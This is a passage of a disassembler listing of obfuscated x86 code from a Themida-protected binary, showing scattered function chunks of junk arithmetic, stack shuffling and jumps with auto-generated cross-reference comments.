; FUNCTION CHUNK AT 0055A9AB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055AA75 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055C21B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C625 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055DE7A SIZE 00000037 BYTES

		lodsd
		jmp	loc_558F90
sub_554592	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_554598:				; CODE XREF: sub_55611A-503j
		mov	dh, 11h
		shl	dh, 3
		jmp	loc_555167
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_5545A2:				; CODE XREF: sub_55A4DA-76CBj
		push	edi
		mov	edi, 6DBE1EB1h
		jmp	loc_551E75
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_5545AD:				; CODE XREF: Themida_:00553194j
		neg	edi
		jmp	loc_55D8FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_5545B4:				; CODE XREF: sub_55A4DA-5905j
		add	eax, 3D408ABh
		jmp	loc_5554D1
; END OF FUNCTION CHUNK	FOR sub_55A4DA

; =============== S U B	R O U T	I N E =======================================



sub_5545BE	proc near		; CODE XREF: sub_55A1A7-237Cj

arg_0		= word ptr  4

; FUNCTION CHUNK AT 005543E6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00554901 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00554E2B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00557B40 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005583B7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00559449 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00559F0B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055CEE7 SIZE 00000010 BYTES

		push	bx
		mov	bl, 98h
		add	al, bl
		jmp	loc_557B40
sub_5545BE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_5545C9:				; CODE XREF: sub_55CFFC-2FFFj
		push	esi
		jmp	loc_555552
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559CF7


loc_5545CF:				; CODE XREF: sub_559CF7+34A6j
		xor	edx, 887377F7h
		add	ecx, edx
		jmp	loc_557349
; END OF FUNCTION CHUNK	FOR sub_559CF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_5545DC:				; CODE XREF: sub_551F97+16CAj
		pop	edx
		push	7B0Ch
		mov	[esp+6+var_6], edx
		jmp	loc_55DD20
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------


loc_5545EA:				; CODE XREF: Themida_:0055965Ej
		pop	edx
		jmp	loc_5529BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5545F0:				; CODE XREF: sub_55ABF6-7E8Aj
		xchg	eax, [esp+2+var_4+2]
		pop	esp
		push	280h
		mov	[esp+2+var_4+2], ecx
		jmp	loc_552360
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_554601:				; CODE XREF: Themida_:00555317j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_551F5C
; ---------------------------------------------------------------------------


loc_554607:				; CODE XREF: Themida_:00559DD2j
		push	esi
		jmp	loc_55C1B4
; ---------------------------------------------------------------------------


loc_55460D:				; CODE XREF: Themida_:005579D3j
		shr	esi, 5
		push	64B5h
		mov	[esp], edi
		mov	edi, 8DD783Eh
		xor	esi, edi
		pop	edi
		mov	ebx, esi
		pop	esi
		jmp	loc_55382A

; =============== S U B	R O U T	I N E =======================================



sub_554628	proc near		; DATA XREF: Themida_:00551258o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0055498E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055509B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005562A0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005564ED SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00559949 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00559D6E SIZE 00000013 BYTES

		mov	ax, [esp+0]
		push	ecx
		jmp	loc_5562A0
sub_554628	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_554632:				; CODE XREF: sub_55D40D+888j
		pop	eax
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, esp
		jmp	loc_5519A6
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------


loc_554640:				; CODE XREF: Themida_:00554F2Ej
		add	dl, ah
		pop	eax
		jmp	loc_55323F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F80


loc_554648:				; CODE XREF: sub_551F80+B1E2j
		xor	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		sub	[esp+0Ch+var_C], 0E9F308Bh
		pop	edx
		push	edi
		jmp	loc_55A2BC
; END OF FUNCTION CHUNK	FOR sub_551F80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_554662:				; CODE XREF: sub_55ABF6-9235j
		mov	edx, 3EA57C7Bh
		sub	[esp+4], edx
		mov	edx, [esp+2+var_4+2]
		push	eax
		jmp	loc_5560F6
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_554674:				; CODE XREF: sub_55326E-1AFEj
		push	edx
		mov	edx, 5CCC76A6h
		shr	edx, 3
		push	eax
		mov	eax, 163E6010h
		or	edx, eax
		pop	eax
		jmp	loc_55391C
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------


loc_55468B:				; CODE XREF: Themida_:00556047j
		push	eax
		mov	eax, esp
		jmp	loc_5580D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_554693:				; CODE XREF: sub_55C814+73Aj
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		push	ebp
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_55D943
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5546AB:				; CODE XREF: sub_559249+1D2Fj
		and	ecx, ebx
		push	[esp+8+var_8]
		pop	ebx
		push	esi
		push	esp
		pop	esi
		jmp	loc_554492
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_5546B9:				; CODE XREF: sub_55163B+A66j
		mov	edx, ebp
		pop	ebp
		and	edx, 319E2EF5h
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		not	ebp
		jmp	loc_55DDAF
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5546CF:				; CODE XREF: sub_55ABF6-5A8j
		mov	ecx, 5E618112h
		jmp	loc_5524A5
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5546D9:				; CODE XREF: Themida_:0055375Cj
		add	edx, 2
		xchg	edx, [esp]
		jmp	loc_551880

; =============== S U B	R O U T	I N E =======================================



sub_5546E4	proc near		; DATA XREF: Themida_:00551238o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00551C14 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055226E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552ADF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005532C8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00553666 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0055377F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055423B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005544FA SIZE 00000058 BYTES
; FUNCTION CHUNK AT 00555F5E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005597AF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A92B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055B2DD SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055B757 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055B946 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055BA86 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055C46B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055CC3B SIZE 00000014 BYTES

		mov	cx, [esp+0]
		push	ebx
		jmp	loc_55CC3B
sub_5546E4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_5546EE:				; CODE XREF: sub_552791+2793j
		push	[esp+8+var_8]
		pop	edx
		add	esp, 4
		push	[esp+4+var_4]
		jmp	loc_55C0AC
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_554700:				; CODE XREF: sub_55CFFC-E90j
		add	edi, 663634D4h
		add	edi, 0DCEFF41h
		add	eax, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_55D669
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55471C:				; CODE XREF: sub_55C814-277Ej
		add	esp, 4
		push	esi
		jmp	loc_5533AF
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_554725:				; CODE XREF: sub_55BB30-3F37j
		pop	edi
		pop	[esp+0Ch+var_C]
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], edx
		push	eax
		push	7AC77EBCh
		pop	eax
		jmp	loc_551D56
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553144


loc_55473F:				; CODE XREF: sub_553144+3j
		mov	[esp+8+var_8], ecx
		mov	ecx, 4
		sub	esi, ecx
		mov	ecx, [esp+8+var_8]
		push	edx
		mov	edx, esp
		jmp	loc_552BF5
; END OF FUNCTION CHUNK	FOR sub_553144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_554754:				; CODE XREF: sub_554E9D+1AEAj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+arg_0]
		pop	ecx
		pop	dword ptr [esp+0]
		jmp	loc_555CA1
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5571D3


loc_554770:				; CODE XREF: sub_5571D3-3C1j
		not	ebp
		dec	ebp
		neg	ebp
		sub	ebp, 0E1907FF7h
		jmp	loc_555EA3
; END OF FUNCTION CHUNK	FOR sub_5571D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_554780:				; CODE XREF: sub_55C814-5A11j
		xor	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		shr	ecx, 0
		jmp	loc_55C0C7
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_55478E:				; CODE XREF: Themida_:0055B55Bj
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5518AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_554799:				; CODE XREF: sub_558326-656Fj
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		sub	esi, eax
		push	[esp+10h+var_10]
		pop	eax
		add	esp, 4
		shr	esi, 2
		jmp	loc_55D295
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553284


loc_5547B3:				; CODE XREF: sub_553284+51FAj
		add	ebx, edi
		add	ebx, 1F9006Ah
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	398Ah
		mov	[esp+4+var_4], eax
		mov	eax, 4
		jmp	loc_5582AB
; END OF FUNCTION CHUNK	FOR sub_553284
; ---------------------------------------------------------------------------


loc_5547D6:				; CODE XREF: Themida_:0055D1A9j
		dec	ebx
		sub	ebx, 286DDEECh
		add	edx, ebx
		jmp	loc_558B30
; ---------------------------------------------------------------------------


loc_5547E4:				; CODE XREF: Themida_:00559D69j
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 25AD7C8Ah
		sub	eax, 25AD7C86h
		add	ecx, eax
		pop	eax
		sub	ecx, 2
		push	ecx
		jmp	loc_557E83
; ---------------------------------------------------------------------------


loc_55481D:				; CODE XREF: Themida_:00557FF5j
		pop	edi
		dec	ebx
		jmp	loc_55240A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_554824:				; CODE XREF: sub_559249-1417j
		push	[esp+10h+var_10]
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_557101
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_554835:				; CODE XREF: Themida_:0055D4FEj
		push	ecx
		mov	cl, 0DBh
		xor	al, cl
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		jmp	loc_55DA93
; ---------------------------------------------------------------------------


loc_55484F:				; CODE XREF: Themida_:00557E49j
		add	cl, 0FFh
		add	cl, 63h
		xor	al, cl
		jmp	loc_55A756
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_55485C:				; CODE XREF: sub_55A0D6+9j
		pop	[esp+0Ch+var_C]
		push	eax
		mov	eax, 4
		add	[esp+0Ch+var_8], eax
		jmp	loc_559599
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------


loc_55486E:				; CODE XREF: Themida_:005567D5j
		add	ecx, 59602318h
		add	ecx, ebp
		sub	ecx, 59602318h
		mov	ebp, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_554897:				; CODE XREF: Themida_:0055C1D6j
		pop	edi
		add	esp, 4
		sub	ebx, 4EE900C6h
		push	ecx
		mov	ecx, 781F64FBh
		shl	ecx, 4
		shr	ecx, 4
		sub	ecx, 4A190716h
		jmp	loc_553C9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556B0D


loc_5548B8:				; CODE XREF: sub_556B0D-1047j
		add	eax, 46925A39h
		add	eax, edx
		sub	eax, 46925A39h
		mov	[eax], bl
		pop	eax
		mov	ebx, [esp+0]
		jmp	loc_55251D
; END OF FUNCTION CHUNK	FOR sub_556B0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_5548CF:				; CODE XREF: sub_554E9D+1A39j
		mov	eax, 97DA6ECAh
		jmp	loc_55CF41
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55703A


loc_5548D9:				; CODE XREF: sub_55703A-121Ej
		pop	esp
		push	edx
		push	[esp+8+var_4]
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		movsx	ecx, al
		push	0FE1h
		mov	[esp+0], ecx
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_5548FB:				; CODE XREF: sub_55703A+863j
		push	ecx
		jmp	loc_55496E
; END OF FUNCTION CHUNK	FOR sub_55703A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5545BE


loc_554901:				; CODE XREF: sub_5545BE+86Ej
		mov	edx, [esp+0]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_559449
; END OF FUNCTION CHUNK	FOR sub_5545BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55490F:				; CODE XREF: sub_55ABF6+126Fj
		shl	al, 3
		shl	al, 7
		sub	al, 22h
		push	ebx
		mov	bl, al
		mov	dl, bl
		pop	ebx
		jmp	loc_5598D4
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_554922:				; CODE XREF: Themida_:005534DFj
		pop	ebx
		xor	edi, 0CF872C0h
		jmp	loc_5586D4
; ---------------------------------------------------------------------------


loc_55492E:				; CODE XREF: Themida_:0055D7FEj
		dec	dword ptr [esp]
		pop	ebp
		jmp	loc_5533FB

; =============== S U B	R O U T	I N E =======================================



sub_554937	proc near		; DATA XREF: Themida_:0055123Co

var_4		= word ptr -4

; FUNCTION CHUNK AT 00551D34 SIZE 0000001A BYTES

		lodsw
		sub	ax, 2DE8h
		sub	ax, 1978h
		add	ax, 5194h
		jmp	loc_551D34
sub_554937	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559D1D


loc_55494A:				; CODE XREF: sub_559D1D-220Bj
		not	ecx
		sub	ecx, 60271A0Eh
		jmp	loc_552A87
; END OF FUNCTION CHUNK	FOR sub_559D1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_554957:				; CODE XREF: sub_55ABF6-950Fj
		mov	[esp-8+arg_4], ebx
		push	edi
		mov	edi, 6FF91ADBh
		push	6FF91AF7h
		pop	ebx
		sub	ebx, edi
		pop	edi
		jmp	loc_556476
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55703A


loc_55496E:				; CODE XREF: sub_55703A-273Ej
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_555E19
; END OF FUNCTION CHUNK	FOR sub_55703A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55497E:				; CODE XREF: sub_55CE17-64DCj
		mov	[esp-4+arg_0], esi
		push	49C3h
		mov	[esp+0], ebx
		jmp	loc_55666D
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554628


loc_55498E:				; CODE XREF: sub_554628+A79j
		sub	esi, ebp
		jmp	sub_552F98
; END OF FUNCTION CHUNK	FOR sub_554628
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B265


loc_554995:				; CODE XREF: sub_55B265-4C6Fj
		and	ecx, edx
		pop	edx
		push	eax
		mov	eax, 4F164602h
		shl	eax, 7
		neg	eax
		sub	eax, 60400D09h
		xor	eax, 1BB40147h
		push	ebx
		mov	ebx, 4A0F052h
		sub	eax, ebx
		pop	ebx
		jmp	loc_55AFBF
; END OF FUNCTION CHUNK	FOR sub_55B265
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553EEA


loc_5549BB:				; CODE XREF: sub_553EEA+7F6Ej
		push	edi
		mov	edi, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 5D4E309Ah
		or	ecx, 486A0743h
		xor	ecx, 0F7D455Ah
		sub	esi, ecx
		pop	ecx
		jmp	loc_5527BB
; END OF FUNCTION CHUNK	FOR sub_553EEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5549E3:				; CODE XREF: sub_55ABF6-43F2j
		add	esi, ebx
		jmp	loc_55B5C6
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_5549EA:				; CODE XREF: sub_55802B-4213j
		mov	esi, 30844BBAh
		mov	edi, esi
		pop	esi
		add	edx, edi
		pop	edi
		add	ebx, edx
		mov	edx, [esp+4+var_4]
		add	esp, 4
		shr	ebx, 5
		add	ebx, 3E8EBEh
		and	eax, ebx
		pop	ebx
		jmp	loc_558516
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------


loc_554A11:				; CODE XREF: Themida_:00552094j
		push	eax
		mov	eax, 4C6F6D83h
		shl	eax, 7
		shr	eax, 5
		shl	eax, 1
		inc	eax
		not	eax
		add	eax, 40E7E3A4h
		or	ebp, eax
		jmp	loc_55170D
; ---------------------------------------------------------------------------


loc_554A2E:				; CODE XREF: Themida_:005527EFj
		mov	edi, 5EB4586h
		sub	edi, 0FFFFFFFFh
		inc	edi
		add	edi, 70C623F3h
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 15064332h
		jmp	loc_557A4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_554A55:				; CODE XREF: sub_55ABF6+CCj
		xor	ecx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	fs:[edx], al
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_554A63:				; CODE XREF: sub_55AE3A-3F95j
		pop	ax
		jmp	loc_559F35
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5525F4


loc_554A6A:				; CODE XREF: sub_5525F4+B807j
		or	[edi+1Ch], ebp
		pop	ebp
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_5525F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_554A73:				; CODE XREF: sub_55ABF6-6C9Ej
		mov	eax, [esp+0]
		jmp	loc_558184
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
		push	778h
		jmp	loc_55A900
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_554A85:				; CODE XREF: sub_551F97+78C6j
		and	si, ax
		mov	eax, [esp+6+var_6]
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55AEA0
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_554A9E:				; CODE XREF: sub_552215+639Ej
		sub	dword ptr [esp+4], 20023C9h
		mov	ecx, [esp+4+var_4]
		jmp	loc_55AB07
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_554AAE:				; CODE XREF: sub_554E9D-2A67j
		xor	edx, ebx
		mov	ebx, [esp+8+var_8]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55C750
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_554AC3:				; CODE XREF: sub_55CE17-6D7Fj
		add	ecx, ebp
		jmp	loc_55302E
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_554ACA:				; CODE XREF: Themida_:00559B0Cj
		pop	esi
		xor	ebx, eax
		pop	eax
		sub	ebx, 0FF8663EBh
		jmp	loc_55A70F
; ---------------------------------------------------------------------------


loc_554AD9:				; DATA XREF: Themida_:00551204o
		mov	cx, [esp]
		push	405Fh
		jmp	loc_5530F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_554AE7:				; CODE XREF: sub_559249-7069j
		mov	ecx, ebx
		pop	ebx
		and	eax, ecx
		mov	ecx, [esp+0]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		jmp	loc_5555DE
; ---------------------------------------------------------------------------


loc_554B06:				; CODE XREF: sub_559249+2ABAj
		pop	esi
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_557E30
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_554B15:				; CODE XREF: Themida_:005514FCj
		mov	eax, esp
		add	eax, 4
		push	ebp
		jmp	loc_553E75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_554B22:				; CODE XREF: sub_55ABF6+2493j
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_552C6F
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_554B30:				; CODE XREF: Themida_:00557365j
		xor	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		push	2BCC47F5h
		pop	ebx
		xor	edx, ebx
		pop	ebx
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_554B52:				; CODE XREF: Themida_:0055A8FBj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55B439
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_554B65:				; CODE XREF: sub_55ABF6-4819j
		xor	edi, 7CEF435Bh
		jmp	loc_557BAA
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_554B70:				; CODE XREF: Themida_:00559F24j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55B4BC
; ---------------------------------------------------------------------------


loc_554B85:				; CODE XREF: Themida_:00556846j
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	647h
		mov	[esp], esi
		push	edx
		mov	edx, 243D4A58h
		mov	esi, 0DBC2B5ACh
		add	esi, edx
		pop	edx
		add	ebp, esi
		push	dword ptr [esp]
		jmp	loc_5576B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C840


loc_554BAD:				; CODE XREF: sub_55C840-9839j
		add	esp, 2
		jmp	loc_5530E6
; END OF FUNCTION CHUNK	FOR sub_55C840
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556901


loc_554BB5:				; CODE XREF: sub_556901+1226j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		sub	edi, edx
		pop	edx
		jmp	loc_554D69
; END OF FUNCTION CHUNK	FOR sub_556901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_554BCC:				; CODE XREF: sub_55A4DA+2065j
		mov	esp, [esp+4+var_4]
		push	ebx
		mov	ebx, 57A43E1Ah
		jmp	loc_5545B4
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	7B5Ah
		mov	[esp], edi
		push	ecx
		mov	ecx, 63122FF4h
		mov	edi, 50053A90h
		xor	edi, ecx
		pop	ecx
		jmp	loc_552CB0
; ---------------------------------------------------------------------------


loc_554BF8:				; CODE XREF: Themida_:0055859Cj
		mov	[esp], esi
		mov	esi, 2ABD230Eh
		and	edi, esi
		pop	esi
		or	edi, 75CF1B78h
		shl	edi, 6
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2CDD2AEDh
		xor	ecx, 317E0A66h
		not	ecx
		shl	ecx, 8
		xor	ecx, 99DCBD6Dh
		push	ebp
		mov	ebp, 541B4E9Ah
		sub	edi, ebp
		jmp	loc_558867
; ---------------------------------------------------------------------------


loc_554C38:				; CODE XREF: Themida_:0055C5E1j
		pop	ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_55BAD0
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 4954h
		mov	[esp], ax
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_554C55:				; CODE XREF: sub_55ABF6+5FDj
		pop	edx
		jmp	loc_559B7B
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5594EA


loc_554C5B:				; CODE XREF: sub_5594EA+21D7j
		push	5FC6h
		mov	[esp+8+var_8], edx
		mov	edx, 4
		sub	edi, 7DD25038h
		add	edi, edx
		add	edi, 7DD25038h
		pop	edx
		jmp	loc_552232
; END OF FUNCTION CHUNK	FOR sub_5594EA
; ---------------------------------------------------------------------------


loc_554C7C:				; CODE XREF: Themida_:0055D388j
		add	ebp, 657D0C1Bh
		dec	ebp
		xor	ebp, 0C6148A4Bh
		add	edx, ebp
		jmp	loc_557D6B
; ---------------------------------------------------------------------------


loc_554C90:				; CODE XREF: Themida_:00558AFDj
		sub	dh, ch
		pop	cx
		add	al, dh
		pop	edx
		jmp	loc_556248
; ---------------------------------------------------------------------------


loc_554C9C:				; CODE XREF: Themida_:005522FDj
		push	esi
		mov	esi, 2
		mov	ecx, esi
		pop	esi
		add	ebp, 3C0C2B75h
		add	ebp, 2C7D72A1h
		add	ebp, ecx
		jmp	loc_55694D
; ---------------------------------------------------------------------------
